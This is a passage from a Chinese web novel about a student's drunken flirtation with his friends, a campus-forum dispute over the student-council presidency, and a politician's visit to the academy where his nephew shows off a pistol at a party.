我可能更喜欢跟你接吻…… 一个问题, 跟炸弹一样落下。 所有人都好像炸醒了。 涨红的脸坠着两颗亮晶晶的眼珠子,一齐看向温绒。 又好像没醒,这样的状态不超过三秒。 只有李奥仍然张大嘴, 理智无法回笼。 怎么就接吻了。 怎么表哥会问这种问题。 怎么…… 怎么表哥两只手都撑在地上,跟狗一样爬到温绒面前。 卧槽,面前这位真是我表哥吗?! “啊,对不起表哥。” 表哥眯起眼睛看他。 “我把你当成狗了,对不起对不起。” 李奥的脑袋也昏昏沉沉,嘴巴竟然不受控制地说话。 “噗嗤” 莱昂埋头笑弯了腰,脑袋一歪, 靠到温绒另一边肩膀上。 连带着时野,三张脸凑在一块儿,有种说不出的亲昵。 李奥觉得怪怪的, 又很快释然。 这三个人接过吻,亲密点很正常。 等会儿,都接过吻, 怎么接的?像现在一样左拥右抱一个亲一下吗? 从小以哥为准还没情窦初开过的李奥被震碎三观,看见自家表哥两只手还撑着地, 忍不住跟着学。 地毯是略硬的材质,刺刺地戳着掌肉,连着心脏,痒。 暧昧又紧张的气氛太诡异, 连他都超级紧张了。 “你猜。”温绒在寂静中回应。 夜色模糊五官的清俊,灯光横七竖八切割,留下细挺的鼻,纤薄的唇角似笑非笑。 莱昂也笑:“温绒以前也爱让我猜。” 好像在暗示,这种带着挑逗的亲密游戏他跟温绒早就玩过。 风水轮流转, 格外尖锐的问话,霎时间变成三人对他表哥的审判。 李奥听见自家表哥开口,“莱昂收藏那么多片,他技术肯定比时野这种菜鸟好,不知道……” 欲言又止。 因为温绒蓦然伸出手,勾起他表哥的下巴。 怎么就上手了! 李奥瞪大眼睛,呼吸都停滞一瞬。 “你的表情好像不喜欢这个答案,再猜猜。” 喉结在黑暗中滚动,静了几秒,他表哥又说:“时野每次动手都没轻没重,接吻的时候……” 再一次欲言又止。 但这次是他表哥主动的。 李奥猜,那些更露骨的话说不出口。 因为表哥露出了平生从未出现过的羞赧表情,光这么暗都挡不住! 现在算是让温绒跟时野看了大笑话,依照表哥的性格,醒了绝对大杀特杀,杀穿地球,杀出宇宙。 他惴惴不安,祈祷温绒赶快回答,回答完各回各的房间睡觉。 这种场面太可怕了,他就没见过表哥这样,他还想活。 “要不都散了吧,该睡觉了。”李奥慌张提议。 “你好烦呀!你别说话。” 温绒蹙起眉抱怨一声,眯着眼睛凑近他表哥,变本加厉,还直接用双手捧起表哥的脸,“怎么哪个答案你都不喜欢?” 咕噜。 吞咽唾液的声音细微又明晰。 李奥分不清声音是否来源于自己,只看见黑暗中两道人影几乎交叠。 像是……接吻。 卧槽,不会跟莱昂和时野一人一口,现在又要跟我表哥来一口吧。 你是食人花吗,谁都要吃。 “不继续猜了吗?” 温绒不以李奥的腹诽为转移,继续着话题。 “时野跟莱昂都不对,还能猜什么?” “就算答案不对也要继续猜呀,你还是很不开心。” “我……不开心吗?” “你跟我都没有爸爸妈妈了……我想让你开心一下。” 李奥愣住。 影子在墙上颤动,他看见表哥表情僵硬一瞬,猛然倒退甩开脸颊边的手。 滋—— 刚才被丢到一边的手机再次震动,屏幕中央郝然显示“校长”两个字。 温绒捧着团空气,疑惑地凑上去,“没关系,我还有plan3,我再来试试……” “你喝多了。”周谢伸出一只手抵住到温绒脑门,另一只手要去摸手机。 李奥非常懂事地先一步抓起手机递过去,“给。” 周谢:“嗯。” 太好了!表哥酒醒了。 李奥欣慰。 “我还没试plan3。” 肆柒捌零壹五九陆陆 周谢:“你醉了,去睡觉,李奥,你先把时野带——” 温绒打断他,“我可能更喜欢跟你接吻。” “……” “……” “……” 气氛陷入一片死寂。 来电提示戛然而止,校长的电话变成一通未接。 周谢浑身定住,瞳孔在黑夜里紧缩。 “啊!原来你喜欢这个回答。” “我没——” 周谢反驳不及,一只手突然强硬掰过温绒的脸,“学长没有让你舒服吗?” 是莱昂。 莱昂面对着温绒,视线斜着跟他对视,清明的眼底,露出少有的敌意。 周谢终于意识到自己做了什么,迅速别开脸,抓起手机从地上爬起来,“我接个电话。” “欸……你去干什么?”温绒还想转头追问,再次被掰住下巴。 “学长也想开心一下。” 温绒眯起眼睛,仔细辨认几秒后,迟疑道,“学长等等,我还没让周谢……” “不用管他,他刚才已经很高兴了。” “……哦。”温绒顿了下,“哦!现在轮到学长猜。” 莱昂含笑,“学长猜不出。” “那我来看看什么话会让学长喜欢。” “嗯,要学长靠近点吗?” 问是这样问,脸其实早就凑上去。 “这个距离就好。”温绒给莱昂的脑袋定了个位,迷蒙的眼珠子一转,“plan1,跟学长接吻更舒服。” 莱昂微笑不答。 “唔……学长看起来不太满意,应该不喜欢这个。” 温绒想了想,“我试试plan2。” “嗯。” 他弯下身,伸手抓到莱昂的脖子,“让学长舒服的这里,让我也很舒服。” 很轻很轻的声音,不像喝醉了,像情到浓时,嗓子被烧得干哑。 大拇指摁上凸出的喉结,拨弄开关似的,无声地啪一下,指腹上下摩挲。 莱昂沉默地吞咽唾液。 “学长喜欢这个!” 温绒兴高采烈向后一倒,醉得甚至没意识到脑袋着地有多危险,脸上满是得意。 幸好莱昂及时扶住他,抓抱枕来垫在地上。 “学长,我是不是很厉害。” 莱昂俯身跟温绒咬耳朵,“学长好像不该教你看别人的表情……现在都知道用这套招数来拿捏学长了。” 温绒用力点头,“我一直都在运用呢!” “那我呢。” 周谢打个电话洗把脸回来,就看到莱昂跟温绒亲昵说话,时野贴到温绒肩膀边,伸手扯他的袖子,“我也要。” 温绒看他,地灯的暗光照出漂亮脸蛋上的困惑,“你是谁?” “我是时野。” “哦,时野……” 温绒像是思考了下,随即张大嘴,“啊!你要联姻了,你家里人什么时候拿支票过来叫我离开你。” “噗嗤。” 莱昂被逗笑,一口气吹开温绒的鬓角。 然而人与人之间的悲喜并不相通,时野从扯袖子变成抓手臂,连忙否认:“我没有联姻。” “没有吗?” “不是,谁告诉我要去联姻?周谢才要去联姻,他打小就在看各家的大小姐,这个太矮那个太胖,这个太娇气那个太精明……跟挑猪肉一样。还有莱昂,莱昂更可恶,他爸妈暗地里拿了全联邦女孩的智商鉴定,要找智商高的保证他家基因,我跟他们才不一样。” “我怎么听说跟你相亲的大小姐已经在订婚戒。”周谢关掉手机走上去。 他醒了,又好像没醒,酒精驱使嘴巴给时野泼脏水,即使这种行为很幼稚。 “哇——”温绒吃到大瓜,惊讶感叹。 “艹!别乱说。你才相亲,你还被退货。温绒我给你说,王斯辰上位,周谢跟莱昂家里原先给他们物色的未婚——” 时野话还没说完,被周谢跟莱昂一人一巴掌捂住嘴,把他从温绒身边拽走。 从小到大,两人就没有如此默契地一起针对过时野。 莱昂双手并用把时野摁在地上,“别听他乱说,没有未婚——” 温绒用力点头,像是要听解释,但自己又抢先说:“我就不一样,我不联姻,我只想跟温柔的女孩结婚,再要个可爱的孩子。” 莱昂:“……” 周谢:“……” 被捂嘴的时野:“……” 完了,他们既不是女孩,也不能生孩子。 静默中,温绒眨一下眼,举起个剪刀手,“到时候你们给我当伴郎呀。” 啪、啪、啪,李奥叹为观止,大力鼓掌。 还有什么比现在更好看的大戏。 争风吃醋互相倒油有什么用,人家是直男。 …… 清晨,5点。 温绒准时睁眼,一片黑暗映入眼帘。 天还没亮吗? 不应该,最近天气好转,五点就该微微亮了。 他摸到床想要把身体撑起来,手刚动,就摸到软软的东西。 来不及惊吓,脑子传来一阵剧痛,疼得他闭紧眼睛,一动不敢动。 这样明显的感觉迫使他不得不去回忆昨晚发生了什么。 昨天周谢做饭了,没想到周总统说的话一点都没有亲儿子滤镜,周谢的厨艺相当棒。 吃着吃着莫名觉得饭很干,时野开了瓶啤酒。 来不及继续回忆,温绒听到“唰”地一声,滚轮在轨道上飞驰,刺眼的光芒撞到脸上。 嘴巴不自觉吞一大口气。 眼睛跟脑子一起痛。 “早。” 陌生的声音划破宁静,温绒看见落地窗边一头毛茸茸的栗色卷发。 “几位,睡得好吗?” 几……位……? 温绒突然感觉自己被“顶”了起来,身体一歪,毫无知觉地撞到什么,软的。 “没事吧?” 身体很奇妙地自己坐起来了,温绒没有用力。 耳边有人打了个哈欠,手臂被向上一拽,温绒又站了起来。 温绒迟钝偏头,看见满脸困倦的时野,又偏另一边,看见莱昂学长。 哦,昨晚喝多了,他们就坐在地上聊天,聊着聊着睡着了,而且他好像睡在了时野跟莱昂学长身上。 温绒终于稍稍反应过来现在是什么状况。 遇到这种情况,我竟然没被吓到。 果然是有了经验,人就变厉害了。 “头有点疼。”温绒再次深吸一口气,从时野手里逃脱,想要去找杯水,边走边说:“下次真的不能再喝——啊!” “嘶——” 他一脚猜上什么软软的东西,往前踉跄两步,幸好被及时拉住。 李奥嘴角抽搐,走去把自家表哥拉起来,“注意看路,地上还有个人。” “不好意思。”温绒拍拍脸颊,才看清脚边的周谢,连忙伸手去帮忙拉人,“刚醒来太晕了,没注意到。” 周谢经过这么遭也行了,没戴眼镜,看起来没那么凶,好脾气地摆摆手站起来,“没事。” “没事的话就先洗漱一下,我叫早餐。”莱昂指一楼的公用卫生间,“温绒你用那个。” 酒店卫生间有一次性洗漱工具,温绒刷个牙洗个脸后,终于彻底清醒了,虽然浑身还是提不起劲。 坐到餐桌边,酒店的人正好推着餐车来,温绒意外分到两碗豆芽汤,举着勺子不知道该对左边下手还是对右边下手。 莱昂开口:“你多喝点,解酒的。” 解酒,那是好东西。 温绒说:“那我可以要三碗吗?” 酒店人员又多给了温绒一碗,温绒道谢,正要喝,莱昂摆了摆手,让酒店人员出去。 李奥开窗通风,清爽的空气涌入,太过舒服,让体力都开始慢慢恢复。 豆芽汤清淡,喝下去后嘴巴跟胃都感到满足,温绒默默感慨,幸好多要了一碗,真的很好喝。 “温绒。” 听到学长喊,温绒咽下汤回答,“嗯?” “别光喝汤,吃点虾饺,酒店的虾饺做得很不错。” “嗯嗯。” 温绒夹虾饺刚塞进嘴里,李奥插进对话,“让他喝吧,昨晚他醉得最厉害。” 温绒迟疑,“我吗?” “嗯,你让我们给你当伴郎。”莱昂说着,又给他碗里夹了个虾饺,“多吃点,你还要长高。” “谢谢学长。” 温绒道完谢,解释自己昨晚的“壮举”,“我看电视剧里说,伴郎都是新郎官最好的朋友。” 竟然只是让学长们当伴郎,我酒品不错。 等等—— 温绒忍不住问:“我只做了这些吗?” 铛——的一声,周谢放下勺子。 “我吃好了。” 温绒:“啊?” 莱昂微笑:“不然你觉得你还做了什么?” “我还以为跟上次一样。”温绒松了口气,“没那样就好,每次喝醉都闯祸不太好。” 李奥心里哼哼,没想到温绒还知道自己喝酒会闯祸。 哼哼完又涌出一股冲动,忍不住助攻自家表哥,“其实你昨晚还说想跟我表哥接吻。” 啪。 一直不作声的时野猛一下放下勺子,“他没说。” “…………” 啊? 我想跟周谢接吻? 温绒尴尬环视四周,顿了下,迅速收回眼,陷入头脑风暴。 时野不开心。 莱昂学长在假笑。 李奥眼睛一直在瞄周谢。 周谢背着身没动。 好像……李奥说的是真的,我果然又又又闯祸了。 这个时候该说点什么才显得我不像个趁醉骚扰别人的变态。 思索几秒,温绒决定坦然道歉:“这么说是有点冒犯,不好意思。” 又连忙补充,“可能我想让你表哥给我当伴郎,喝醉后记忆混乱,嘴巴也不听使唤,就胡说八道了。” “真的很不好意思!” “……” “……” “……” 一片静默。 李奥抬眼对上自家表哥的杀人眼神,吓得肩膀一抖,哼着“嗯嗯嗯哦哦哦”,端起碗一口闷完豆芽汤。 时野眼睛滴溜滴溜乱转,看看李奥看看周谢,又看看温绒。在这样的气氛中嘴角不受控制地勾起,又不敢做得太明显让温绒发觉,咬着嘴别开脸。 他就喜欢温绒把周谢当外人的样子! 在周谢的衬托下,他觉得温绒肯定是喜欢自己的。 第105章 第 105 章 王斯辰想见你 意识到自己的待遇在温绒那里不算最差, 时野一整天都心情不错。 站在门口恭送周·外人·谢以及他惹事的表弟,又开车接上温绒开开心心回学校(忽视莱昂)。 晚上,项目研讨会延期的消息终于经过黒鸽系统正式发出。 前几天被罚了黄牌还被讨伐的一行人忍不住发帖阴阳怪气, 诸如《只见新人笑不见旧人哭》《昨天的太阳照不到今天的学校》等等。 帖子里就更直白了,常跟在林竞航身边的几个学生会成员明目张胆说:[现在学校由林少爷说了算,兴师动众罚个黄牌有什么用,还不是被打脸。] [等林竞航坐上学生会会长的位置,撤销黄牌就是一句话的事。] [欸,看来温绒竞争不上学生会会长了。] [他以为林少爷是赵泽阳王艾伦呢,不会又想搞退学那一套吧?哈哈哈哈哈。] [哥们, 我记得你,还匿名的时候喊温绒老婆喊得最凶,你现在是脱粉回踩了?] [那都是过去式了, 现在脑残才给温绒当舔狗。] [不是,你骂自己就算了,干嘛骂其他人?] [我就知道, 只要沾上温绒,迟早歪楼。] [能不能继续理讨学生会会长的事?] [我来我来。其实我更支持林某当学生会会长, 学生会有很多活动都要跟政府接洽,温绒看起来就不会来事,说不定会影响学校跟政府的关系。] [欸,你这么一提醒, 我也觉得……] 这些话的出现没让温绒意外,学校里的大多数人毫无疑问都是墙头草,永远站在顺风口。 现在项目研讨会延期,黄牌没有威胁效力了,往林竞航身边站很正常。 手指在键盘上敲了几下, 删除,重新打字。 《项目研讨会还会公平吗?》 发帖人:温绒 林竞航无疑是一位好会长,背靠大山,又愿意为手下人遮风避雨。 比如现在,为了保住学生会这群人,疏通各方关系让项目研讨会延期。 但是—— 既然如此大费周章地延期,那不让学生会所有人的项目通过,是不是有些浪费机会了? 学生会的人欢呼、高兴,都在情理之中。 学生会以外的人为什么要跟着开心?现在谁能确保项目研讨会通过的项目比落选的项目好? 小编只是一个平民,不会来事,更不了解每个决策背后的弯弯绕绕,只能提醒大家,小心处境再次回到项目研讨会之前,被迫当一个废物。 ps:此贴只是小编行驶监督权力对新任学生会会长的提问,也可以说是警示,本意是希望新会长能在延期的项目研讨会上公正对待每一个学生,绝对没有私心。 回车键摁下瞬间,莫名的激动促使温绒起身,在宿舍里走上两三圈。 他一边走,一边想。 林竞航接下来要么保持他的高傲继续沉默,要么发帖向所有学生表明项目研讨会绝对公平。 继续沉默就对其他学生下手,表明公平的态度就对学生会那些人下手。 滋——地一声,思绪被迫中断。 手机提示来消息,电脑屏幕右下角弹出周谢的对话窗口- 华灯初上,繁华高楼被霓虹灯淹没。 热闹的江边人头涌动,找不到半点空隙。 这间正对着江景的总统套房围满高大壮硕的黑衣男人。 酒店厨师推着餐车进来,被上下检查一遍才又缓慢推着餐车走到窗边。 王斯辰一人独坐,等着牛排上桌,优雅拿起刀叉,缓慢切割。 三分熟,一刀下去,血先溢出,染红白净的圆盘。 他略微蹙眉,秘书连忙问:“是否需要给您换一份?” “不用。” 王斯辰好心情地细细品尝,空气寂静,只有刀叉碰撞的声响。 十二点,江上放起了烟花,彩色的光芒映在王斯辰脸上。 同时秘书收到一通电话,还没来得及接,就听到王斯辰问:“林竞航那小子?” 秘书迟疑点头,“少爷在学校遇到一些麻烦。” “知道他原先是弗罗里曼学院的特招生时,我以为他至少跟温绒一个水平。” 秘书尴尬。 再怎么说林竞航都是王斯辰亲侄子,王斯辰骂林竞航两句无所谓,要是他跟着骂,那就是不想活了。 众所周知,王斯辰最护短。 于是秘书说:“少爷只是还没适应现在的环境,年纪也还轻,等稍微大点就好了。” 王斯辰斜眼,“项目研讨会都给他延期了,他现在又遇到什么困难?” 看,始终还是亲侄子,不可能不管。 直通电话是打工来催回复的,半个小时前,林竞航就把项目延期后发生的事告诉了他,让他想个办法处理掉温绒。 “很困难?” 解决个18岁的小孩其实不难,只是秘书不想表现得太游刃有余,假装迟疑,“……有一些棘手。” “说说。” 秘书把半小时前林竞航给自己说的话复诉一遍,特地详细描述温绒发的帖子。 最后做个总结,“不知道为什么,温绒好像总是在论坛上跟少爷对着干。” “没有权力的平民,除了利用舆论还能利用什么?”王斯辰扯了扯嘴角,拿毛巾擦嘴,“很聪明,给那臭小子直接定了性,现在项目研讨会上怎么做都会被怀疑公平性。” 秘书听得出,很聪明是形容温绒的。 议员还是很爱温绒啊,虽然醒来这段时间都没去找过温绒。 “为了我这个不省心的侄子……”王斯辰站起身,“以家长的名义去一趟弗罗里曼学院吧。” 秘书会意,“要不要安排温绒来见您?” “出事后他都没来看过我,我为什么要去看他。” 秘书懂了。 这一面必须见! 领导都有怨气了。 …… 温绒提前从周谢那里知道了王斯辰要以家人名义访问弗罗里曼学院的消息。 同时来的消息还有王斯辰将参加学生会会长的交接仪式。 这一动作,表明学生会会长的事情几乎没有回转的余地。 即使温绒发了那样的文章挑拨,也不及整个联邦最有权力的人帮林竞航站台。 温绒又一次感受到周谢口中的权力,这种“垃圾要当我领导”的感觉确实很不舒服。 可再不舒服,他作为学生会的一员,第二天大早还是要跟其他人一起到校门口迎接王斯辰。 学生会这些人的厚脸皮令人震惊,除了死命跟着林竞航的那几个,其他人竟然主动找他搭讪。 温绒没搭理,主动走在队伍最末端,用行动跟这群人划清界限。 这些人的想站林竞航,同时也不惹自己。 温绒不让他们如愿,用行动告诉这些人,没有中立,要么林竞航,要么自己,他们选林竞航,那就是自己的敌人。 到校门口时,周谢收到消息,王斯辰还有一个小时到。 阳光铺地,影子越来越小,温绒的皮肤在深色制服里发烫。 不知道过去了一个小时还是两个小时,终于等到一列黑车行驶至校门口。 “王斯辰来了。”周谢提醒他。 “嗯。” “你应该是敲打的主要对象,自己注意。” “好。” 简单对话完毕,前后排车走下成群的保镖,走到中间最闪的黑车周围,拉开门,一道身影埋头跨下车。 浅棕色的西装制服,花领巾,优雅得像个时髦绅士。 王斯辰一眼在乌泱泱的人群中看到温绒。 阳光把皮肤照透了,发着光,惹眼得紧。 “小叔。” 林竞航窜出来挡住了温绒。 王斯辰无法做得太明显,伸手拍拍林竞航的手臂,嘴里不自觉地敷衍,“在学校过得不错,壮了。” “弗罗里曼学院很不错,我带你逛逛。” 王斯辰对逛学校这种事没兴趣,但身份在这里,无论去什么地方都要被拉着参观,了解那些地方的历史…… 视野里温绒若隐若现,好像变了位置,时而露出半边脸,时而完全躲在别人背后。 “先给我介绍你的这些朋友吧。”王斯辰夹带私心地说完,往旁边挪半步,再次假装不经意间瞥向远处,“周谢还是会长,周谢来介绍介绍你们学生会这些人。” 周谢被点名,人群立马一劈为二,让出条路来。 周谢维持着学生会会长应有的体面,走上前,“王议员,我先给您介绍学生会的几位部长。” “嗯……” 温绒的方向,骤然一空。 王斯辰愣了下,无奈苦笑。 笑自己半点理智也没,竟然跟毛头小子一样在人群中偷瞄人家,还患得患失。 没有温绒的会面无聊至极,王斯辰公式地跟其他人寒暄后不打算再跟周谢周旋,正想叫回林竞航,帮自家侄子在这群人面前立个威,周谢突然又说:“有一位刚加入的新学弟还没跟您介绍,他刚才去旁边接了个电话,不知道您是否可以等一等他。” 什么? 众人一惊。 让王斯辰,等温绒吗? 砰砰。 只有王斯辰听见自己心跳。 “嗯。” 嗯???!!! 一张张年轻的脸上露出前所未有的震惊。 都是家里父母在政府工作的,没跟王斯辰接触过也多少从风门那里了解过王斯辰的性格。 典型的高官,排场大,心气高,眼睛一抬就是“你一个局长不配跟我汇报工作”。 他……要在这里站着等温绒吗? 其他人还是震惊,在林竞航这里就是惊吓。 因为王斯辰曾经真想让温绒当学生会会长。 “小叔,不用等他。” 秘书也凑上前小声道,“领导,不合适。” 王斯辰如梦初醒。 他不是专门来见温绒的,他要来帮林竞航把学生会会长的位置坐稳。 总归来说,温绒看样子对他没兴趣,还是亲侄子更值得扶持。 王斯辰轻咳一声,“要是忙的话就下次再说吧。” 周谢眼睛一转,欣然点头,“好的。” “小叔,走,我带你去看看我的别墅。” 自从项目研讨会延期,林竞航意识到有个有权有势的小叔,还有给自己出谋划策的秘书实在太好,他真心喜欢这两个人,说话都不禁亲昵起来。 王斯辰自然是宠侄子的,给保镖们摆摆手,示意一行人跟上。 长长的队伍消失在校门口,温绒望着走在最后头的周谢,忍不住问李奥,“你表哥为什么还要跟着。” “还没完全卸任,不跟着容易落下话柄。” “嗷。”温绒似懂非懂,又忍不住问,“我感觉他以前很阴险,很凶,为什么现在好像有点可怜,老是被欺负。” 势微的时候当然要收敛锋芒啊。 只是李奥心里还惦记那晚自家表哥被温绒吓醒的样子,再一次暗戳戳助攻,“阴险凶狠的时候你总跟他作对,所以他决定痛改前非,好好做人。” 温绒:“O” 李奥:“?” 温绒:“—” “你一会儿张大嘴一会儿闭嘴干嘛,有什么直说。” “原来我有这么大的影响力。” 李奥:“…………” 话里的意思明明是:我表哥在乎你! 还想把话挑明,温绒手机响了。 “稍等,我接个电话。” 温绒接起周谢打来的电话,“恭喜,plan1完全正确。王斯辰的秘书问你方不方便跟他见个面。” 虽然事情按照计划进行很值得恭喜,但温绒记得自己没给周谢说过plan1这个词呀…… 第106章 第 106 章 不属于我的东西没必要…… “什么样的见面?” “约在时野的别墅, 我想应该是健康的见面。”电话那头有人喊了声“周谢,拿一下水”,周谢顿了下, 声音压低,“放心吧,毕竟在学校,不会有法律不允许的事情发生。” 温绒却意外那声“周谢”,似乎是学生会哪一位的声音。 心里莫名生出诡异的感觉。 就因为周总统去世了,那些人完全换了面孔,跟以前两模两样。 就因为没有父亲。 虽然情境不同, 但温绒莫名想到了自己,也是因为爸爸妈妈一直被欺负。 “他们那么不尊重你,你为什么都不生气。”温绒忍不住问。 “什么?” 温绒不太开心地踢了下树, “虽然以前我也不敢反抗那些欺负我的人,但现在我不想看到你被欺负。” 这让他觉得自己辜负了周总统在机场时的善意和帮助。 电话里传来一声笑,“这不是你的行事风格吗?与人为善之类的。” 哗啦, 树叶飘到面前。 温绒回了句“什么?”,周谢声音拔高, “你不是一直对我有意见?既然以后有很多事要合作,我也该学学你的行事风格,争取讨你喜欢,免得你又像网球公开赛之前那样背着我跑路。” 学我吗? 温绒挠挠头, 陷入沉思,丝毫没注意后电话里周谢还在讲话,而且语气越来越激动,颇有点讨夸的架势。 这通电话持续了将近十分钟,温绒才跟李奥一起去时野的别墅。 阳光很好, 空气里却传来难闻的烟酒味。 王斯辰的到来并没有让林竞航收敛,反而把舞台搬到了草坪外。 布料稀少的火辣女郎尽情热舞,旁边一船冰上插满啤酒瓶,不到几分钟,就全被拿走,人手一瓶。 周谢在门口等他跟李奥。 音响震得脑袋疼,温绒捂着耳朵看向周谢,“为什么王斯辰都来了,林竞航还敢这样。” “不要像初入职场的新人一样以为大领导来了小领导就会收敛。实际上,小领导只是在做大领导喜欢的事。” 温绒明白了周谢的意思,思考后总结,“所以王斯辰钟爱特权,生活糜烂,跟林竞航一模一样。” “嗯。” “有一个理论说,随着社会发展,80%的人将会被边缘化。” 正说着,恰好路过一处桌子,周谢口干舌燥,正准备拿起一杯酒准备润润嗓子。 视野里骤然出现另一只手,周谢下意识拦住,“你不能喝。” 温绒:“啊?” “这是酒,你不能喝。” 喝完酒,手会乱摸,好听的话张口就来,周谢敢打包票,校长来了,王斯辰都把持不住。 温绒默默缩手,揣进口袋里,“我看你拿,还以为是饮料。” “我的。” 周谢认下错,自己也缩回手,“接着说,80%的人被边缘化,而另外的20%的人将掌握全社会的大部分财富。” “嗯嗯。” “王斯辰的政治理念是,这20%属于优质人群,智力品行才干都高于那80%的人,尽一切努力保证优质人群的生存、延续、扩张,未来某一天优质人群会遍布整个社会。” 温绒眯了下眼睛,说不清是因为太阳炙热,还是不舒服。 周谢眼尖,“你是不是有不同意?” “啊?没啊……” “不可能。” 在被温绒反复折磨这么多次后,周谢意外有了敏锐的第六感——温绒眉头一皱,就绝对在憋什么坏玩意。 周谢:“我知道你不同意这种说法,或许还觉得这种理念没有科学依据,很蠢。” 温绒迟疑了下,终于点头,“嗯。” “你一点都不特别,谁听了这个理念都知道它是错的。” “但它有一点很明确,王斯辰绝不偏向平民,他上位后,只会帮这20%的人收刮更多利益,钱、权力、资源……” “原来还有这种意思!你好厉害。” 周谢扶了把眼镜,享受这种羡慕的目光,“这里面全是弯弯绕绕,你还有很多东西要学。” “是的是的。” 温绒虚心接受教学,余光瞥见有人搂着女孩的腰从面前走过,带着浓郁的烟臭味,忍不住感慨:“我才发现,时野的私生活原来这么健康。” 周谢声音拔高,“他私生活哪里健康?” “他住在这里的时候只是单纯打球打拳击修车,没让其他人抽烟喝酒,也没找女团。” 周谢无语半秒,“没必要拿林竞航那种暴发户跟时野对比,女团抽烟喝酒这些东西带来的刺激压根达不到时野的阈值。” “可他就是没这些不健康的嗜好呀。” “……在你面前装清纯男大吧,他飙车表上现实300km/h的时候你就知道他健不健康了。” 末了,补充一句,“对了,他抽烟,他跟我一起抽的,下次我拍照给你看。” “可是我感觉你抽得比他凶。” “……” 周谢没想清楚为什么明明在讲正事,却突然变成温绒维护时野,正想把话题转回来,蓦然听见远处传来一声“砰”。 穿透云霄的动静惊飞数只暂停在此的鸽子。远处的人群以林竞航为基准,倒退几步,散出半个圈。 穿过稀稀拉拉的影子,周谢看见黑衣黑裤的保镖正准备收回枪。 一把手枪,手掌大小,通体黑色,阳光下反射金属的光泽。 咚—— 心脏猝不及防一紧,差点栽倒。 “你没事吧?” 幸好被温绒及时扶住。 太阳有些晒,周谢额上出了冷汗,刚想摇头,另一边又被扶住,“舅舅出事后,我表哥就对枪声有应激反应了,扶他去椅子那边休息。” 李奥不知道什么时候来的。 周谢想阻止李奥说这些,奈何头开始胀痛,宛如中暑一般,张了张嘴,发不出声音,等觉得稍微舒服些时,人已经坐在了阴凉的伞下。 “林竞航占在这里一点都不方便,连找个水都没办法找,要是时野还……” “李奥——”周谢及时制止李奥。 李奥一愣,后知后觉时野让出别墅的起因是温绒,不太好意思,“我不是故意的。” 温绒:“啊?” 李奥叹息,表哥紧张什么,温绒压根不在意。 “我去找点水。” 遮阳伞下只剩下温绒跟周谢,有人注意到他们,跃跃欲试想来一起坐,都被温绒的“这里有人”赶走。 “厉害!” “好牛。” 远处鼓掌声、奉承的声音一波一波外溢。 见过枪没见过枪的都情绪高涨,有女生摸出手机拍照,先拍拍手枪,又拍拍保镖,最后自拍,把保镖跟枪作为背景板。 李奥把水拿回来的时候,两人还在安静坐着。 周谢能感觉到这是温绒听到“应激反应”后刻意做的事。 没有重复的“节哀”“看开点”“我知道你很难过”,只是在喧闹中,给他一个安静的地方。 这样的安静,让周谢从不适中慢慢缓回神。 “你们这些人……以前没玩过枪是不是?我来给你们表演个。” 远处林竞航拿走保镖手里的枪,作势要表演,一只手突然挡住他的全部视野。 周谢愣了下,听到温绒说:“我懂你的感觉,那天发生的所有事都是记忆符号,只要冒出来一个就会不舒服,跟时野以前一样。” “你怎么左一句时野又一句时野,你喜欢他?” 温绒:“啊?” “没什么。” “嗷。” “不要啤酒瓶,在瓶子上给我顶个苹果,我打苹果。” 远处林竞航高兴得跟幼儿园小朋友一样,丝毫不知道成男之间的情愫。 “行不行啊,林少爷。”有人酒上三巡,没忍住调侃。 “老子拿枪打丧尸的时候你还没生呢!” “哈哈哈哈哈。”众人哄笑,“让我们见识见识林少爷打丧尸有多厉害。” 都以为林竞航说的是电子游戏,只有温绒知道林竞航说的是真的。 不知道是不是错觉,温绒觉得末世的生活给林竞航留下了深刻的印象,比他嘴上要说的找人重要多了。 “砰” 鸽子再次起飞,温绒想事情想得出神,等周遭再次寂静,啤酒瓶上顶着的苹果被风吹落,才反应过来,林竞航没打中。 有些意外。 温绒没有经历过末世,但刷蓝书时看见末世电影里所有人都拿枪打丧尸,似乎没有枪法不好的。 可能,瞄准确实很难吧。 温绒这么想,忽而又觉得胸口一阵心惊。 那机场廊桥上,隔那么远还能射进来的人,该多厉害。 “失误失误,我不习惯手枪。” 鸦雀无声。 大概是所有人都没预料到的结果,就连拍照的女生们,也连忙把手机收了起来。 林竞航面露窘迫,重新拿起枪要打。 “好了。” 王斯辰的声音插进来,人群又一次齐齐劈开,温绒只看见秘书的背影。 “小叔,我可以。” “老丁的枪改装过,你想玩正常的枪以后带你去靶场玩。” “你的手都掉到我嘴巴上了。” 冷不伶仃的声音叫温绒回神,迅速重新抬高手。 “收起来吧,我没事了。” “好的好的。”温绒从善如流地缩回手。 “你在想王斯辰话里的意思?” “什么?” 周谢压低声音:“王斯辰这话在给林竞航刚才打歪的事递台阶,让大家知道不是林竞航枪法不准,是那枪有问题。当然,制止的最主要原因还是林竞航是个纯新手,如果打到别人,事情就不好处理了。” 哦—— 温绒在心里大叹一声,原来话里有这么多学问。 虽然他刚才没在想这件事,但现在注意力全被这门“说话的艺术”吸引了。 “有点奇怪,他从保镖手里拿枪的时候特别自信,好像真的会玩。” 周谢紧紧盯着远处,“而且正常人要是不会玩,没必要当着这么多人的面说自己会,还这么热烈地现场演示,又不是小品演员。” “嗯嗯。” 温绒肃然起敬,也往那个方向看,练习跟周谢一样的观察力。 “但也有可能是林竞航在犯蠢,这种一夜翻身的人,确实喜欢引人注目。” “可能两种因素都有。” “不用关注他,我发现另外一件事。” “王斯辰的秘书说王斯辰想见你,但你来了这么久又都没找你,我刚才就觉得有点怪,现在我认为你还可以继续耐心等待。” “因为王斯辰时不时往你身上瞥一眼,说明他快等不及了。” 温绒果然看见王斯辰很轻微地瞥过脸来。 “我一直不过去的话会怎样。” “他的秘书会过来。” 不出周谢所料,在林竞航放弃枪后,王斯辰的秘书果然走过来。 多数人的注意力都在王斯辰跟林竞航身上,没谁注意到秘书的动静。 “好久不见,温小同学。”秘书开口。 温绒起身颔首,“您好。” “议员想单独跟你聊一聊,可以吗?” 周谢点了个头,于是温绒也同意下来,跟着秘书走上别墅二楼。 之前时野住在这里的时候,他来过几次,记得是宽敞明亮的,但现在装满沙发茶几,即使开着窗,也散不去沙发上残留的烟酒味跟香水。 温绒忍不住咳嗽。 “不好意思,还没来得及打扫。” 温绒摆摆手,单刀直入,“请问王议员找我有什么事?” 秘书礼貌微笑,“我也不知道领导有什么事要跟你说,要不你等他来。” 温绒被安置在楼梯旁边的一间房里,四十平米的房间只有一张沙发,白色的,空气清新,阳光明媚,跟外面格格不入。 